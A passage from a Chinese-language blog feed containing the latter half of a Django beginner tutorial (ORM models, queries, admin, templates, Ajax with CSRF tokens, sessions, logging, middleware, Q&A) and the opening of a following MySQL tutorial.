&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
启动 &lt;code&gt;python manage.py runserver&lt;/code&gt; 后访问 &lt;code&gt;http://127.0.0.1:8000/blog/&lt;/code&gt; 就能看到 &quot;Hello, Django!&quot;。这就是 Django 的最小闭环：&lt;strong&gt;URL → 视图 → 响应&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、深入模型与 ORM（Day47）&lt;/h2&gt;
&lt;p&gt;ORM（对象关系映射）让你&lt;strong&gt;用 Python 类操作数据库表&lt;/strong&gt;，无需写 SQL。&lt;/p&gt;
&lt;h3&gt;定义模型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/models.py
from django.db import models

class Category(models.Model):
    name = models.CharField(max_length=50, unique=True)

    def __str__(self):          # 定义对象的可读表示
        return self.name

class Post(models.Model):
    # 字段类型对应数据库列类型
    title = models.CharField(max_length=200)              # 字符串
    content = models.TextField()                          # 大文本
    views = models.IntegerField(default=0)                # 整数，默认 0
    is_published = models.BooleanField(default=False)     # 布尔
    created_at = models.DateTimeField(auto_now_add=True)  # 创建时间
    updated_at = models.DateTimeField(auto_now=True)      # 更新时间

    # 关系字段
    category = models.ForeignKey(                         # 多对一
        Category, on_delete=models.CASCADE, related_name=&quot;posts&quot;
    )
    tags = models.ManyToManyField(&quot;Tag&quot;)                  # 多对多

    class Meta:
        ordering = [&quot;-created_at&quot;]      # 默认排序（- 降序）
        db_table = &quot;blog_post&quot;          # 自定义表名

    def __str__(self):
        return self.title

class Tag(models.Model):
    name = models.CharField(max_length=30)
    def __str__(self):
        return self.name
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用字段类型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;数据库类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CharField(max_length)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;VARCHAR&lt;/td&gt;
&lt;td&gt;短字符串（必填 max_length）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TextField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TEXT&lt;/td&gt;
&lt;td&gt;长文本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IntegerField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;INT&lt;/td&gt;
&lt;td&gt;整数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FloatField&lt;/code&gt; / &lt;code&gt;DecimalField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;FLOAT/DECIMAL&lt;/td&gt;
&lt;td&gt;小数（金额用 Decimal）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BooleanField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;BOOL&lt;/td&gt;
&lt;td&gt;布尔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DateField&lt;/code&gt; / &lt;code&gt;DateTimeField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DATE/DATETIME&lt;/td&gt;
&lt;td&gt;日期/日期时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ForeignKey&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;外键&lt;/td&gt;
&lt;td&gt;多对一关系&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OneToOneField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;外键唯一&lt;/td&gt;
&lt;td&gt;一对一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ManyToManyField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;中间表&lt;/td&gt;
&lt;td&gt;多对多&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;迁移&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 生成迁移文件（根据模型变化生成 SQL）
python manage.py makemigrations

# 2. 执行迁移（应用到数据库）
python manage.py migrate

# 查看某应用的 SQL（不执行）
python manage.py sqlmigrate blog 0001
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
每次修改 &lt;code&gt;models.py&lt;/code&gt; 后，必须先 &lt;code&gt;makemigrations&lt;/code&gt; 再 &lt;code&gt;migrate&lt;/code&gt;，否则数据库不会同步。迁移文件（&lt;code&gt;migrations/&lt;/code&gt; 目录）要纳入版本控制。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;ORM 之 CRUD&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from blog.models import Post, Category

# 增（Create）
cat = Category.objects.create(name=&quot;技术&quot;)
post = Post(title=&quot;标题&quot;, content=&quot;内容&quot;, category=cat)
post.save()                                  # 或者 Post.objects.create(...)

# 查（Read）——返回 QuerySet（惰性，用到才查库）
Post.objects.all()                           # 全部
Post.objects.get(id=1)                       # 唯一一条（找不到抛异常）
Post.objects.filter(is_published=True)       # 条件过滤
Post.objects.exclude(is_published=False)     # 排除
Post.objects.filter(title__contains=&quot;Django&quot;) # 模糊查询（双下划线）
Post.objects.filter(views__gt=100)           # 大于
Post.objects.filter(category__name=&quot;技术&quot;)    # 跨关系查询
Post.objects.order_by(&quot;-views&quot;)[:10]         # 排序 + 切片（Top10）
Post.objects.first()                         # 第一条
Post.objects.count()                         # 计数

# 改（Update）
post = Post.objects.get(id=1)
post.views += 1
post.save()                                  # 保存整个对象
Post.objects.filter(id=1).update(views=99)   # 批量更新（更高效）

# 删（Delete）
post.delete()                                # 删单条
Post.objects.filter(is_published=False).delete()  # 批量删
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查询条件（双下划线）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;__exact / __iexact   精确 / 忽略大小写
__contains           包含（LIKE %x%）
__startswith / __endswith  以...开头/结尾
__in                 在列表中
__gt / __gte         大于 / 大于等于
__lt / __lte         小于 / 小于等于
__range              范围（BETWEEN）
__isnull             是否为 NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;关联查询优化（N+1 问题）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# ❌ N+1 问题：查 N 篇文章，每篇访问 category 又查一次库（共 N+1 次）
for post in Post.objects.all():
    print(post.category.name)

# ✅ select_related：一次 JOIN 把外键对象一起查出来（多对一）
for post in Post.objects.select_related(&quot;category&quot;).all():
    print(post.category.name)

# ✅ prefetch_related：多对多/反向外键，两次查询后在内存组装
for post in Post.objects.prefetch_related(&quot;tags&quot;).all():
    print([t.name for t in post.tags.all()])
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;code&gt;select_related&lt;/code&gt; 用 SQL JOIN，适合 ForeignKey/OneToOne；&lt;code&gt;prefetch_related&lt;/code&gt; 分开查再合并，适合 ManyToMany/反向关系。合理用它们能大幅减少数据库查询次数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Admin 后台&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/admin.py
from django.contrib import admin
from .models import Post, Category

@admin.register(Post)              # 注册模型到后台
class PostAdmin(admin.ModelAdmin):
    list_display = [&quot;title&quot;, &quot;category&quot;, &quot;views&quot;, &quot;is_published&quot;, &quot;created_at&quot;]
    list_filter = [&quot;is_published&quot;, &quot;category&quot;]     # 侧边筛选
    search_fields = [&quot;title&quot;, &quot;content&quot;]          # 搜索框
    ordering = [&quot;-created_at&quot;]
    list_editable = [&quot;is_published&quot;]              # 列表页可直接编辑

admin.site.register(Category)      # 另一种注册方式
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建超级管理员后访问 &lt;code&gt;http://127.0.0.1:8000/admin/&lt;/code&gt;，即可用图形界面管理数据，非常适合后台增删改查。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;五、视图进阶与模板&lt;/h2&gt;
&lt;h3&gt;类视图与通用视图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/views.py
from django.views.generic import ListView, DetailView
from .models import Post

# ListView：列表页（自动分页、传 object_list 给模板）
class PostListView(ListView):
    model = Post
    template_name = &quot;blog/post_list.html&quot;
    context_object_name = &quot;posts&quot;
    paginate_by = 10

# DetailView：详情页
class PostDetailView(DetailView):
    model = Post
    template_name = &quot;blog/post_detail.html&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;模板语法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- blog/templates/blog/post_list.html --&amp;gt;
{% extends &quot;base.html&quot; %}          &amp;lt;!-- 继承父模板 --&amp;gt;

{% block content %}                &amp;lt;!-- 填充内容块 --&amp;gt;
&amp;lt;h1&amp;gt;文章列表&amp;lt;/h1&amp;gt;
&amp;lt;ul&amp;gt;
    {% for post in posts %}        &amp;lt;!-- 循环 --&amp;gt;
    &amp;lt;li&amp;gt;
        &amp;lt;a href=&quot;{% url &apos;blog:detail&apos; post.id %}&quot;&amp;gt;{{ post.title }}&amp;lt;/a&amp;gt;
        {% if post.views &amp;gt; 100 %}🔥{% endif %}   &amp;lt;!-- 条件 --&amp;gt;
    &amp;lt;/li&amp;gt;
    {% empty %}
    &amp;lt;li&amp;gt;暂无文章&amp;lt;/li&amp;gt;
    {% endfor %}
&amp;lt;/ul&amp;gt;

&amp;lt;!-- 分页 --&amp;gt;
{% if is_paginated %}
    {% if page_obj.has_previous %}
        &amp;lt;a href=&quot;?page={{ page_obj.previous_page_number }}&quot;&amp;gt;上一页&amp;lt;/a&amp;gt;
    {% endif %}
    第 {{ page_obj.number }} / {{ page_obj.paginator.num_pages }} 页
{% endif %}
{% endblock %}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;模板语法速记：
{{ 变量 }}        输出变量（自动 HTML 转义）
{% 标签 %}        逻辑标签（for/if/extends/block/url）
{# 注释 #}        注释
{{ post.title }}  访问属性/方法
{{ list|length }} 过滤器（管道）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
模板中的 &lt;code&gt;{{ }}&lt;/code&gt; 会自动做 &lt;strong&gt;HTML 转义&lt;/strong&gt;防 XSS 攻击。如果确实要输出原始 HTML，用 &lt;code&gt;{{ content|safe }}&lt;/code&gt;，但要确保内容可信。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;六、静态资源与 Ajax（Day48）&lt;/h2&gt;
&lt;h3&gt;静态资源&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# settings.py
STATIC_URL = &quot;/static/&quot;                       # URL 前缀
STATICFILES_DIRS = [BASE_DIR / &quot;static&quot;]      # 静态文件目录
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{% load static %}                              &amp;lt;!-- 先加载 static 标签 --&amp;gt;
&amp;lt;img src=&quot;{% static &apos;images/logo.png&apos; %}&quot;&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{% static &apos;css/style.css&apos; %}&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ajax 异步请求&lt;/h3&gt;
&lt;p&gt;用 JavaScript（fetch）实现无刷新更新，Django 返回 JSON。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# blog/views.py
from django.http import JsonResponse
from django.views.decorators.http import require_POST

@require_POST                        # 只接受 POST
def like_post(request, post_id):
    post = Post.objects.get(id=post_id)
    post.views += 1
    post.save()
    return JsonResponse({&quot;code&quot;: 200, &quot;views&quot;: post.views})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 前端 fetch 请求
fetch(&apos;/blog/api/like/1/&apos;, {
    method: &apos;POST&apos;,
    headers: {
        &apos;Content-Type&apos;: &apos;application/json&apos;,
        &apos;X-CSRFToken&apos;: getCookie(&apos;csrftoken&apos;),   // CSRF 令牌（见下）
    },
    body: JSON.stringify({}),
})
.then(resp =&amp;gt; resp.json())
.then(data =&amp;gt; console.log(data.views));

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(&apos;;&apos;).shift();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Django 对 POST/PUT/DELETE 默认启用 &lt;strong&gt;CSRF 保护&lt;/strong&gt;。Ajax 请求必须在头部带上 &lt;code&gt;X-CSRFToken&lt;/code&gt;（值取自 &lt;code&gt;csrftoken&lt;/code&gt; Cookie），否则会返回 403。表单则用 &lt;code&gt;{% csrf_token %}&lt;/code&gt; 标签。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;七、Cookie 与 Session（Day49）&lt;/h2&gt;
&lt;p&gt;HTTP 无状态，靠 Cookie/Session 实现&quot;记住用户&quot;。&lt;/p&gt;
&lt;h3&gt;Cookie（存在浏览器）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 设置 Cookie（在响应对象上）
def set_cookie(request):
    response = HttpResponse(&quot;已设置 Cookie&quot;)
    response.set_cookie(&quot;username&quot;, &quot;tom&quot;, max_age=3600)  # 1 小时过期
    return response

# 读取 Cookie
def get_cookie(request):
    username = request.COOKIES.get(&quot;username&quot;)
    return HttpResponse(f&quot;你好，{username}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Session（存在服务器）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 写 Session
request.session[&quot;user_id&quot;] = 123
request.session[&quot;cart&quot;] = {&quot;item1&quot;: 2}

# 读 Session
user_id = request.session.get(&quot;user_id&quot;)

# 删 Session
del request.session[&quot;user_id&quot;]
request.session.flush()        # 清空当前会话
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Cookie vs Session：
┌──────────┬──────────────────┬──────────────────┐
│          │ Cookie           │ Session          │
├──────────┼──────────────────┼──────────────────┤
│ 存储位置 │ 浏览器           │ 服务器           │
│ 安全性   │ 较低（用户可见） │ 较高             │
│ 容量     │ 约 4KB           │ 较大             │
│ 生命周期 │ 可设过期时间     │ 默认 2 周        │
│ 关联     │ SessionID 存 Cookie，服务器用 SessionID 找数据 │
└──────────┴──────────────────┴──────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Session 的实现依赖 Cookie：服务器把 &lt;code&gt;sessionid&lt;/code&gt; 存进浏览器 Cookie，下次请求带回来，服务器据此找到对应的会话数据。Django 默认把 Session 存数据库，也可配置存缓存（Redis）提升性能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Django 内置用户认证&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.decorators import login_required

def user_login(request):
    if request.method == &quot;POST&quot;:
        username = request.POST.get(&quot;username&quot;)
        password = request.POST.get(&quot;password&quot;)
        user = authenticate(request, username=username, password=password)
        if user is not None:
            login(request, user)              # 登录（写入 Session）
            return redirect(&quot;blog:index&quot;)
    return render(request, &quot;login.html&quot;)

@login_required                               # 未登录自动跳登录页
def profile(request):
    return HttpResponse(f&quot;你好，{request.user.username}&quot;)

def user_logout(request):
    logout(request)                           # 退出
    return redirect(&quot;blog:index&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;八、报表与日志（Day50-51）&lt;/h2&gt;
&lt;h3&gt;生成报表（导出 Excel / PDF）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 导出 Excel（用 xlwt）
import xlwt
from django.http import HttpResponse

def export_excel(request):
    response = HttpResponse(content_type=&quot;application/vnd.ms-excel&quot;)
    response[&quot;Content-Disposition&quot;] = &apos;attachment; filename=&quot;posts.xls&quot;&apos;

    wb = xlwt.Workbook(encoding=&quot;utf-8&quot;)
    ws = wb.add_sheet(&quot;文章&quot;)
    ws.write(0, 0, &quot;标题&quot;)           # 表头
    ws.write(0, 1, &quot;阅读量&quot;)
    row = 1
    for post in Post.objects.all():
        ws.write(row, 0, post.title)
        ws.write(row, 1, post.views)
        row += 1
    wb.save(response)               # 直接写入响应流
    return response

# 导出 PDF 用 reportlab；前端图表用 ECharts（后端提供 JSON 数据接口）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;日志&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# settings.py 配置日志
LOGGING = {
    &quot;version&quot;: 1,
    &quot;handlers&quot;: {
        &quot;file&quot;: {
            &quot;level&quot;: &quot;WARNING&quot;,
            &quot;class&quot;: &quot;logging.FileHandler&quot;,
            &quot;filename&quot;: &quot;debug.log&quot;,
        },
    },
    &quot;loggers&quot;: {
        &quot;django&quot;: {&quot;handlers&quot;: [&quot;file&quot;], &quot;level&quot;: &quot;WARNING&quot;},
    },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 视图中记录日志
import logging
logger = logging.getLogger(__name__)

def index(request):
    logger.info(&quot;访问首页&quot;)
    logger.warning(&quot;这条会写入文件&quot;)
    return HttpResponse(&quot;OK&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;日志级别（由低到高）：DEBUG &amp;lt; INFO &amp;lt; WARNING &amp;lt; ERROR &amp;lt; CRITICAL
设置某级别后，只记录该级别及以上的日志。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Django Debug Toolbar&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 开发利器：显示 SQL 查询、请求耗时、模板渲染等
pip install django-debug-toolbar

# settings.py
INSTALLED_APPS += [&quot;debug_toolbar&quot;]
MIDDLEWARE += [&quot;debug_toolbar.middleware.DebugToolbarMiddleware&quot;]
INTERNAL_IPS = [&quot;127.0.0.1&quot;]

# urls.py（DEBUG=True 时挂载）
if settings.DEBUG:
    import debug_toolbar
    urlpatterns += [path(&quot;__debug__/&quot;, include(debug_toolbar.urls))]
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
Debug Toolbar 能直观看到每个请求执行了多少条 SQL、耗时多少，是排查 &lt;strong&gt;N+1 查询&lt;/strong&gt;和性能问题的第一工具。仅用于开发环境，生产务必关闭。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;九、中间件（Day52）&lt;/h2&gt;
&lt;p&gt;中间件是介于&lt;strong&gt;请求进来&lt;/strong&gt;和&lt;strong&gt;响应出去&lt;/strong&gt;之间的钩子，全局处理请求/响应。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;请求 → 中间件1 → 中间件2 → ... → 视图 → ... → 中间件2 → 中间件1 → 响应
       （洋葱模型：进来从上到下，出去从下到上）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Django 内置中间件&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;中间件&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SecurityMiddleware&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;安全相关（HTTPS 重定向等）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SessionMiddleware&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Session 管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CommonMiddleware&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;URL 规范化、APPEND_SLASH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CsrfViewMiddleware&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CSRF 保护&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AuthenticationMiddleware&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;把 user 绑定到 request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MessageMiddleware&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;一次性消息提示（flash）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;自定义中间件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/middleware.py
import time
import logging

logger = logging.getLogger(__name__)

class RequestTimeMiddleware:
    &quot;&quot;&quot;记录每个请求的处理耗时&quot;&quot;&quot;
    def __init__(self, get_response):
        self.get_response = get_response       # 保存下一个中间件/视图

    def __call__(self, request):
        start = time.time()                    # 请求进来（视图前）
        response = self.get_response(request)  # 调用后续处理
        duration = time.time() - start         # 响应出去（视图后）
        logger.info(f&quot;{request.path} 耗时 {duration:.3f}s&quot;)
        return response
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# settings.py 注册（顺序很重要）
MIDDLEWARE = [
    &quot;django.middleware.security.SecurityMiddleware&quot;,
    &quot;blog.middleware.RequestTimeMiddleware&quot;,   # 加自己的
    # ...
]
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
中间件顺序影响执行时机：越靠上，请求阶段越早执行、响应阶段越晚执行。典型用途：记录耗时、IP 黑名单、请求日志、全局异常处理、修改请求/响应头。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：Django 和 Flask 怎么选？&lt;/strong&gt;
A：Django 是&quot;全家桶&quot;，自带 ORM、Admin、认证，适合中大型、快速开发、功能完整的项目；Flask 是&quot;微框架&quot;，轻量灵活，适合小型应用或需要高度定制的场景。企业级后台、CMS 类首选 Django。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：一个 Project 和一个 App 什么关系？&lt;/strong&gt;
A：Project 是整个网站（含全局配置），App 是可复用的功能模块（如博客、用户、评论）。一个 Project 可包含多个 App，App 理论上能在不同 Project 间复用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：&lt;code&gt;get()&lt;/code&gt; 和 &lt;code&gt;filter()&lt;/code&gt; 有什么区别？&lt;/strong&gt;
A：&lt;code&gt;get()&lt;/code&gt; 返回&lt;strong&gt;单个对象&lt;/strong&gt;，找不到抛 &lt;code&gt;DoesNotExist&lt;/code&gt;，找到多个抛 &lt;code&gt;MultipleObjectsReturned&lt;/code&gt;；&lt;code&gt;filter()&lt;/code&gt; 返回 &lt;strong&gt;QuerySet&lt;/strong&gt;（可能 0 到多条），不报错。取单条确定存在的用 &lt;code&gt;get()&lt;/code&gt;，不确定用 &lt;code&gt;filter().first()&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：QuerySet 是惰性的，什么意思？&lt;/strong&gt;
A：写了 &lt;code&gt;Post.objects.filter(...)&lt;/code&gt; 并不会立即查数据库，只有在你&lt;strong&gt;遍历、切片、count()、len()、bool()&lt;/strong&gt; 等&quot;求值&quot;操作时才真正执行 SQL。所以可以把 QuerySet 传来传去组合，直到需要数据才查库。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：如何解决 N+1 查询问题？&lt;/strong&gt;
A：用 &lt;code&gt;select_related()&lt;/code&gt;（ForeignKey/OneToOne，SQL JOIN）和 &lt;code&gt;prefetch_related()&lt;/code&gt;（ManyToMany/反向关系，分查再合并）预加载关联数据。配合 Debug Toolbar 观察 SQL 数量验证效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：&lt;code&gt;makemigrations&lt;/code&gt; 和 &lt;code&gt;migrate&lt;/code&gt; 的区别？&lt;/strong&gt;
A：&lt;code&gt;makemigrations&lt;/code&gt; 根据模型改动&lt;strong&gt;生成迁移文件&lt;/strong&gt;（记录要执行的 SQL）；&lt;code&gt;migrate&lt;/code&gt; &lt;strong&gt;执行&lt;/strong&gt;这些迁移文件，把改动应用到数据库。前者是&quot;计划&quot;，后者是&quot;执行&quot;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：CSRF 是什么？为什么 Ajax 要带 token？&lt;/strong&gt;
A：CSRF（跨站请求伪造）指攻击者诱导用户在已登录的站点执行非预期操作。Django 默认对 POST 等请求校验 CSRF token。Ajax 请求要在头里带 &lt;code&gt;X-CSRFToken&lt;/code&gt;，让服务器确认请求来自本站，否则返回 403。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;Django 入门速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;MVT 模式&lt;/strong&gt;：Model（数据/ORM）、View（业务逻辑）、Template（展示），URL 分发充当 Controller&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小闭环&lt;/strong&gt;：URL（path）→ 视图（返回 HttpResponse）→ 响应；&lt;code&gt;runserver&lt;/code&gt; 启动&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ORM 字段&lt;/strong&gt;：CharField/TextField/IntegerField/DateTimeField + ForeignKey/ManyToMany&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迁移两步&lt;/strong&gt;：&lt;code&gt;makemigrations&lt;/code&gt;（生成）→ &lt;code&gt;migrate&lt;/code&gt;（执行），改模型必做&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CRUD&lt;/strong&gt;：&lt;code&gt;objects.create/get/filter/exclude/update/delete&lt;/code&gt;，双下划线条件（&lt;code&gt;__gt&lt;/code&gt;/&lt;code&gt;__contains&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;N+1 优化&lt;/strong&gt;：&lt;code&gt;select_related&lt;/code&gt;（JOIN，一对多）、&lt;code&gt;prefetch_related&lt;/code&gt;（分查合并，多对多）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin 后台&lt;/strong&gt;：&lt;code&gt;@admin.register&lt;/code&gt; + &lt;code&gt;list_display/list_filter/search_fields&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cookie/Session&lt;/strong&gt;：Cookie 存浏览器、Session 存服务器；&lt;code&gt;sessionid&lt;/code&gt; 关联；&lt;code&gt;login_required&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSRF&lt;/strong&gt;：POST 请求需带 token，Ajax 用 &lt;code&gt;X-CSRFToken&lt;/code&gt; 头，表单用 &lt;code&gt;{% csrf_token %}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中间件&lt;/strong&gt;：洋葱模型，全局处理请求/响应，常用于耗时统计、日志、IP 过滤&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-10-django-drf/&quot;&gt;Django 进阶与 DRF&lt;/a&gt; 将讲解 RESTful API 设计、Django Rest Framework（序列化器、视图集、路由器）、认证与权限、分页限流，以及 Django 项目的部署上线。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>数据库与 MySQL</title><link>http://117.72.32.87/blog/posts/python-roadmap-08-mysql/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-08-mysql/</guid><description>MySQL 数据库全面讲解：关系型数据库概念、SQL 四大类（DDL/DML/DQL/DCL）、多表连接、窗口函数、索引原理与优化、视图与存储过程、Python 接入 MySQL 及 Hive 入门。</description><pubDate>Fri, 18 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day36~45&lt;/strong&gt;：关系型数据库与 MySQL、SQL 详解、索引优化、Python 接入数据库、Hive 实战。数据库是后端开发的基石，SQL 更是每个程序员的必备技能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、关系型数据库概述&lt;/h2&gt;
&lt;p&gt;关系型数据库（RDBMS）用&lt;strong&gt;二维表&lt;/strong&gt;存储数据，表之间通过外键关联，支持 SQL 查询和事务（ACID）。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;数据库 Database&lt;/td&gt;
&lt;td&gt;多张表的集合&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
